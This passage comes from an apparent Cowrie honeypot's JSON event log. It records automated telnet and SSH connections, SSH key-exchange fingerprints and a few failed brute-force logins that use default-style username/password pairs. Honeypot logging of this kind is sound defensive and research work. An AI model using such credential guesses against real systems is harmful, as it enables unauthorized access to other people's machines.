dsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:07.308685Z","src_ip":"103.170.173.26","session":"9b270a977c56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.04181885719299,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:07.733931Z","src_ip":"162.55.233.176","session":"fd99e39f8ae1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.549991846084595,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:07.876103Z","src_ip":"162.55.233.176","session":"826d26d5c882","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.15144991874695,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:08.112233Z","src_ip":"162.55.233.176","session":"65da4f6c90d7","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"111111","message":"login attempt [postgres/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:08.416527Z","src_ip":"103.170.173.26","session":"9b270a977c56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":43582,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e3cc45515fe","protocol":"telnet","message":"New connection: 162.55.233.176:43582 (159.203.135.109:23) [session: 3e3cc45515fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:08.618095Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":43592,"dst_ip":"159.203.135.109","dst_port":23,"session":"47ef501cbd3b","protocol":"telnet","message":"New connection: 162.55.233.176:43592 (159.203.135.109:23) [session: 47ef501cbd3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:08.912452Z"}
{"eventid":"cowrie.session.closed","duration":36.095924615859985,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:08.991865Z","src_ip":"162.55.233.176","session":"505e6e7fb8ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.165568590164185,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:09.115846Z","src_ip":"162.55.233.176","session":"dfd615b2eaae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.31522011756897,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:09.305896Z","src_ip":"162.55.233.176","session":"da93f2be2e80","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.10937166213989,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:09.443589Z","src_ip":"162.55.233.176","session":"1be4b9da4961","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:09.687999Z","src_ip":"103.170.173.26","session":"9b270a977c56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":43602,"dst_ip":"159.203.135.109","dst_port":23,"session":"50fff846a346","protocol":"telnet","message":"New connection: 162.55.233.176:43602 (159.203.135.109:23) [session: 50fff846a346]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:09.694690Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":43610,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb748b23a0d8","protocol":"telnet","message":"New connection: 162.55.233.176:43610 (159.203.135.109:23) [session: fb748b23a0d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:09.840127Z"}
{"eventid":"cowrie.session.closed","duration":31.1408429145813,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:09.953999Z","src_ip":"162.55.233.176","session":"20a8121a0411","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":43620,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c324d3f5d16","protocol":"telnet","message":"New connection: 162.55.233.176:43620 (159.203.135.109:23) [session: 0c324d3f5d16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:10.331064Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":43598,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a0a8bd5f128","protocol":"telnet","message":"New connection: 162.55.233.176:43598 (159.203.135.109:23) [session: 4a0a8bd5f128]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:10.359437Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":43622,"dst_ip":"159.203.135.109","dst_port":23,"session":"2cdddb69dc56","protocol":"telnet","message":"New connection: 162.55.233.176:43622 (159.203.135.109:23) [session: 2cdddb69dc56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:10.388253Z"}
{"eventid":"cowrie.session.closed","duration":35.574114084243774,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:10.550005Z","src_ip":"162.55.233.176","session":"4b2342d2643d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":42438,"dst_ip":"10.17.0.5","dst_port":23,"session":"abd88a705b4e","protocol":"telnet","message":"New connection: 206.189.32.23:42438 (10.17.0.5:23) [session: abd88a705b4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:10.737066Z"}
{"eventid":"cowrie.session.closed","duration":34.95808005332947,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:10.836534Z","src_ip":"162.55.233.176","session":"022c7366dff9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":43636,"dst_ip":"159.203.135.109","dst_port":23,"session":"8e2f052f6769","protocol":"telnet","message":"New connection: 162.55.233.176:43636 (159.203.135.109:23) [session: 8e2f052f6769]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:11.950156Z"}
{"eventid":"cowrie.session.closed","duration":31.95054054260254,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:11.955839Z","src_ip":"162.55.233.176","session":"ee0c44c5567a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":43650,"dst_ip":"159.203.135.109","dst_port":23,"session":"a83cd0895ea6","protocol":"telnet","message":"New connection: 162.55.233.176:43650 (159.203.135.109:23) [session: a83cd0895ea6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:12.260471Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":43652,"dst_ip":"159.203.135.109","dst_port":23,"session":"622268ef6560","protocol":"telnet","message":"New connection: 162.55.233.176:43652 (159.203.135.109:23) [session: 622268ef6560]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:12.508862Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":43658,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d85521c3aad","protocol":"telnet","message":"New connection: 162.55.233.176:43658 (159.203.135.109:23) [session: 4d85521c3aad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:12.882033Z"}
{"eventid":"cowrie.session.closed","duration":33.031060218811035,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:13.043354Z","src_ip":"162.55.233.176","session":"5c318b3b3458","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.02602481842041,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:13.101115Z","src_ip":"162.55.233.176","session":"4d4fb23c81f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36824,"dst_ip":"159.203.135.109","dst_port":23,"session":"a529b8bb0de8","protocol":"telnet","message":"New connection: 162.55.233.176:36824 (159.203.135.109:23) [session: a529b8bb0de8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:13.169707Z"}
{"eventid":"cowrie.session.closed","duration":42.729921102523804,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:13.174796Z","src_ip":"162.55.233.176","session":"ed2cb0e9798f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.21234655380249,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:13.190938Z","src_ip":"162.55.233.176","session":"b3d4e85ebd10","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.41484451293945,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:13.235478Z","src_ip":"188.208.141.113","session":"a4ed33524f59","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36828,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6ff5638c1d3","protocol":"telnet","message":"New connection: 162.55.233.176:36828 (159.203.135.109:23) [session: e6ff5638c1d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:13.304683Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":43064,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a4c9ecd827e","protocol":"telnet","message":"New connection: 188.208.141.113:43064 (10.17.0.5:23) [session: 2a4c9ecd827e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:13.695127Z"}
{"eventid":"cowrie.session.closed","duration":31.61231517791748,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:13.702107Z","src_ip":"162.55.233.176","session":"2206cb24c6eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.15422534942627,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:13.864995Z","src_ip":"162.55.233.176","session":"e265ab244ab4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.98998308181763,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:13.933807Z","src_ip":"162.55.233.176","session":"216d43ca78be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36830,"dst_ip":"159.203.135.109","dst_port":23,"session":"a01c1b56de8b","protocol":"telnet","message":"New connection: 162.55.233.176:36830 (159.203.135.109:23) [session: a01c1b56de8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:14.352045Z"}
{"eventid":"cowrie.session.closed","duration":34.139522552490234,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:14.459968Z","src_ip":"162.55.233.176","session":"16fdbdbf3f57","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.77241230010986,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:14.690722Z","src_ip":"162.55.233.176","session":"e09a3068108a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.284107208251953,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:14.898460Z","src_ip":"162.55.233.176","session":"8cce4e5a7fc5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36846,"dst_ip":"159.203.135.109","dst_port":23,"session":"b81282e944c3","protocol":"telnet","message":"New connection: 162.55.233.176:36846 (159.203.135.109:23) [session: b81282e944c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:15.358860Z"}
{"eventid":"cowrie.session.closed","duration":34.16445446014404,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:15.755290Z","src_ip":"162.55.233.176","session":"51592db15dc8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36854,"dst_ip":"159.203.135.109","dst_port":23,"session":"b931d39c0117","protocol":"telnet","message":"New connection: 162.55.233.176:36854 (159.203.135.109:23) [session: b931d39c0117]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:15.989919Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36856,"dst_ip":"159.203.135.109","dst_port":23,"session":"3de44aee1d4f","protocol":"telnet","message":"New connection: 162.55.233.176:36856 (159.203.135.109:23) [session: 3de44aee1d4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:16.093847Z"}
{"eventid":"cowrie.session.closed","duration":33.81671667098999,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:16.106870Z","src_ip":"162.55.233.176","session":"82712d523ca9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.512598752975464,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:16.197912Z","src_ip":"162.55.233.176","session":"3864d025533a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.137.11.14","src_port":49337,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b04f1104e0b","protocol":"ssh","message":"New connection: 38.137.11.14:49337 (10.17.0.5:22) [session: 1b04f1104e0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:16.270059Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:16.275005Z","src_ip":"38.137.11.14","session":"1b04f1104e0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:16.502043Z","src_ip":"38.137.11.14","session":"1b04f1104e0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.77420401573181,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:16.659428Z","src_ip":"162.55.233.176","session":"28d634c2aa00","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36864,"dst_ip":"159.203.135.109","dst_port":23,"session":"664037f732ef","protocol":"telnet","message":"New connection: 162.55.233.176:36864 (159.203.135.109:23) [session: 664037f732ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:16.693055Z"}
{"eventid":"cowrie.session.closed","duration":33.476534605026245,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:16.841857Z","src_ip":"162.55.233.176","session":"0f59594d69c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36874,"dst_ip":"159.203.135.109","dst_port":23,"session":"13e1006e8cfb","protocol":"telnet","message":"New connection: 162.55.233.176:36874 (159.203.135.109:23) [session: 13e1006e8cfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:17.120706Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36884,"dst_ip":"159.203.135.109","dst_port":23,"session":"6aed24799537","protocol":"telnet","message":"New connection: 162.55.233.176:36884 (159.203.135.109:23) [session: 6aed24799537]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:17.303593Z"}
{"eventid":"cowrie.login.failed","username":"git","password":"git@0123","message":"login attempt [git/git@0123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:17.441570Z","src_ip":"38.137.11.14","session":"1b04f1104e0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.03113889694214,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:17.728946Z","src_ip":"162.55.233.176","session":"cfb1f23d452f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.44340705871582,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:18.368671Z","src_ip":"162.55.233.176","session":"a882d316ec0d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:18.671745Z","src_ip":"38.137.11.14","session":"1b04f1104e0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.94842267036438,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:18.810641Z","src_ip":"162.55.233.176","session":"bdb8328abc7f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.67394971847534,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:18.854471Z","src_ip":"162.55.233.176","session":"29af2568f9d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.103776216506958,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:18.902084Z","src_ip":"162.55.233.176","session":"26e71e40a63b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.0478355884552,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:19.039555Z","src_ip":"162.55.233.176","session":"78a39d2230fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36886,"dst_ip":"159.203.135.109","dst_port":23,"session":"018a6f810b0c","protocol":"telnet","message":"New connection: 162.55.233.176:36886 (159.203.135.109:23) [session: 018a6f810b0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:19.394661Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36896,"dst_ip":"159.203.135.109","dst_port":23,"session":"149aa07da38f","protocol":"telnet","message":"New connection: 162.55.233.176:36896 (159.203.135.109:23) [session: 149aa07da38f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:19.686982Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36906,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b8cb3d3848b","protocol":"telnet","message":"New connection: 162.55.233.176:36906 (159.203.135.109:23) [session: 7b8cb3d3848b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:20.477215Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36914,"dst_ip":"159.203.135.109","dst_port":23,"session":"68fa9c3438fa","protocol":"telnet","message":"New connection: 162.55.233.176:36914 (159.203.135.109:23) [session: 68fa9c3438fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:20.698435Z"}
{"eventid":"cowrie.session.closed","duration":31.999391555786133,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:20.959107Z","src_ip":"162.55.233.176","session":"e5a15e82727d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36922,"dst_ip":"159.203.135.109","dst_port":23,"session":"f301a0ec9423","protocol":"telnet","message":"New connection: 162.55.233.176:36922 (159.203.135.109:23) [session: f301a0ec9423]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:20.994511Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36932,"dst_ip":"159.203.135.109","dst_port":23,"session":"284013ef0b84","protocol":"telnet","message":"New connection: 162.55.233.176:36932 (159.203.135.109:23) [session: 284013ef0b84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:21.153749Z"}
{"eventid":"cowrie.session.closed","duration":30.40065574645996,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:21.162516Z","src_ip":"162.55.233.176","session":"680b482cf470","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36946,"dst_ip":"159.203.135.109","dst_port":23,"session":"13981b3aa5ef","protocol":"telnet","message":"New connection: 162.55.233.176:36946 (159.203.135.109:23) [session: 13981b3aa5ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:21.590467Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36956,"dst_ip":"159.203.135.109","dst_port":23,"session":"844698478098","protocol":"telnet","message":"New connection: 162.55.233.176:36956 (159.203.135.109:23) [session: 844698478098]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:21.695468Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36920,"dst_ip":"159.203.135.109","dst_port":23,"session":"01a3a34f9329","protocol":"telnet","message":"New connection: 162.55.233.176:36920 (159.203.135.109:23) [session: 01a3a34f9329]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:21.772442Z"}
{"eventid":"cowrie.session.closed","duration":37.01847767829895,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:22.194731Z","src_ip":"162.55.233.176","session":"88f97ece23a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36972,"dst_ip":"159.203.135.109","dst_port":23,"session":"dfe261b19956","protocol":"telnet","message":"New connection: 162.55.233.176:36972 (159.203.135.109:23) [session: dfe261b19956]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:22.267108Z"}
{"eventid":"cowrie.session.closed","duration":30.614165544509888,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:22.421129Z","src_ip":"162.55.233.176","session":"d39a61752353","protocol":"telnet"}
